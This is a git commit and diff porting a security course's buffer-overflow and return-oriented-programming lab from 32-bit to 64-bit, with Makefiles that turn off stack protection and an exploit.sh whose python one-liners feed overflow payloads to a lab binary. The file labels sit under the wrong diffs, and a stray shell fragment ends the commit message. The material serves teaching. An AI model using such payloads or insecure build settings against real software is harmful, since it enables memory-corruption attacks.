Port lab 12 tasks to 64-bit architecture:

* Updated C sources, exploits and build scripts to 64-bit
* Normalised line endings to Unix LF
* Restored executable bits on shell scripts
* Fixed typo in indirect-business README
* Updated rip-my-buffers-off exploit with 64-bit addresses

Signed-off-by: Cristian Nastase <cristiannastase16@gmail.com>' && git reset --soft origin/main

Author: Nastyst16

labs/lab-12/media/rop-anatomy.svg

@@ -1,17 +1,17 @@
 CC = gcc
-CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
-LDFLAGS = -no-pie -m32
+CFLAGS = -g -m64 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m64
 SRC_DIR = .
 TARGET = buff-ovf3
 OBJ = buff-ovf3.o
 
 all: $(TARGET)
 
 obfuscator: $(SRC_DIR)/obfuscator.c
-	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+	$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall
 
 deobfuscator: $(SRC_DIR)/deobfuscator.c
-	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+	$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall
 
 $(TARGET): $(OBJ)
 	$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)

labs/lab-12/tasks/feeling-chained/solution/Makefile

@@ -1,7 +1,10 @@
 #!/bin/bash
 # SPDX-License-Identifier: BSD-3-Clause
 
-python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x56\x93\x04\x08"
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*18 + b"\x96\x11\x40\x00"
                                                         + b"\x00\x93\x04\x08"
                                                         + b"\x38\x00\x00\x00"
                                                         + b"\x0d\x00\x00\x00")' | ../support/buff-ovf3
+
+
+run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"\x00"*18 + b"\x3c\x13\x40\x00\x00\x00\x00\x00" + b"\x00"*2000)')

labs/lab-12/tasks/feeling-chained/solution/exploit.sh

@@ -1,16 +1,16 @@
 CC = gcc
-CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
-LDFLAGS = -no-pie -m32
+CFLAGS = -g -m64 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m64
 SRC_DIR = .
 TARGET = main
 
 all: $(TARGET)
 
 obfuscator: $(SRC_DIR)/obfuscator.c
-	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+	$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall
 
 deobfuscator: $(SRC_DIR)/deobfuscator.c
-	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+	$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall
 
 link: $(SRC_DIR)/link.c
 	$(CC) $(CFLAGS) -c -o $@ $<